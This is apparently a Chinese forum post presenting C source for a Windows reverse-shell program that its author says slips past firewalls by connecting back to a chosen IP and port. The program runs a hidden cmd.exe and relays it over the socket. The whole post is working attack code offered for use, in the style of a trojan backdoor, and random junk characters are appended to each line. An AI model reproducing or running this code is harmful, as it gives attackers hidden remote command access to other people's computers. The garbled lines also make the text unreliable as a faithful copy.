这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CK`3
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/* ============================== ;|$]Qq
Rebound port in Windows NT A'AWuj\r2R
By wind,2006/7 d[Fr
===============================*/ 5_tK3Q8?
#include u%IKM\
#include ~PAbLSL*u
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#pragma comment(lib,"wsock32.lib") v,.n/@s|X
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void OutputShell(); "y
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SOCKET sClient; 7Hkf7\JY
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xi`U`7?D(=
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void main(int argc,char **argv) ^CZ|ci6bX
{ d<cbp[3F
WSADATA stWsaData; fN%5D z-e
int nRet; +MoxvW6
SOCKADDR_IN stSaiClient,stSaiServer; +fQ$~vr{'
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if(argc != 3) #pn AK
{ tIy/QN_42
printf("Useage:\n\rRebound DestIP DestPort\n"); 2mp>Mn~K^
return; E~O>m8hF
} 7R`ZTfD
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7u3b aM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E#V-F-@2
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stSaiClient.sin_family = AF_INET; <.%8j\j(
stSaiClient.sin_port = htons(0); j8A R#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N{ z(|2{A#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,'{B+CHoS
{ te4"+[ $|
printf("Bind Socket Failed!\n"); 7Hlh
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return; >5},qs:lZ
} *M!YQ<7G^d
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stSaiServer.sin_family = AF_INET; AA%g^PWpR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S@2Jj>3D?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NeZYchR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9oN'.H^
{ )PNH| h
printf("Connect Error!"); 8uD%]k=#!
return; 8;Bwz RtgT
} `TR9GWU+B
OutputShell(); (2\ekct ^
} (>lqp%G~
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void OutputShell() /@}# KP=
{ cZF;f{t
char szBuff[1024]; ,^[37/S
SECURITY_ATTRIBUTES stSecurityAttributes; 0$h$7'a
OSVERSIONINFO stOsversionInfo; 6]A\8Ty
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7
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STARTUPINFO stStartupInfo; ,ui'^8{gK
char *szShell; jN{xpd
PROCESS_INFORMATION stProcessInformation; Jj!tRZT
unsigned long lBytesRead; 5:3$VWLa
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vw@x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F7u%oLjr
stSecurityAttributes.lpSecurityDescriptor = 0; (=B7_jrl
stSecurityAttributes.bInheritHandle = TRUE; %z_b/yG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p.Yg-CA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j|8{Vyqd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s/|'1E\F
stStartupInfo.wShowWindow = SW_HIDE; >a~FSZf
stStartupInfo.hStdInput = hReadPipe; ptL}F~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'QS~<^-j"
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GetVersionEx(&stOsversionInfo); }j@@
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switch(stOsversionInfo.dwPlatformId) |L-juT X9
{ (D3m5fO
case 1: l zknB
szShell = "command.com"; 3nGK674;z
break; -mdPqVIJn:
default: Ev ,8?
szShell = "cmd.exe"; Ekp
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break; D\~$6#B>>
} MNE)<vw>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D)$k{v#~
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send(sClient,szMsg,77,0); SvrV5X
while(1) ;]o^u.PC
{ j`hbQp\`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $)a5;--W
if(lBytesRead) NT:>.~ah@&
{ }i~ j"m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9jBr868
send(sClient,szBuff,lBytesRead,0); /'+JP4mK
} nrhpId
else 4tKf
{ $\H46Ji
lBytesRead=recv(sClient,szBuff,1024,0); I#e*,#'S
if(lBytesRead<=0) break; QNBzc {XB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -<.NEV
} }+3~y'k
} 2Rt ZTn
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return; ,urkd~
}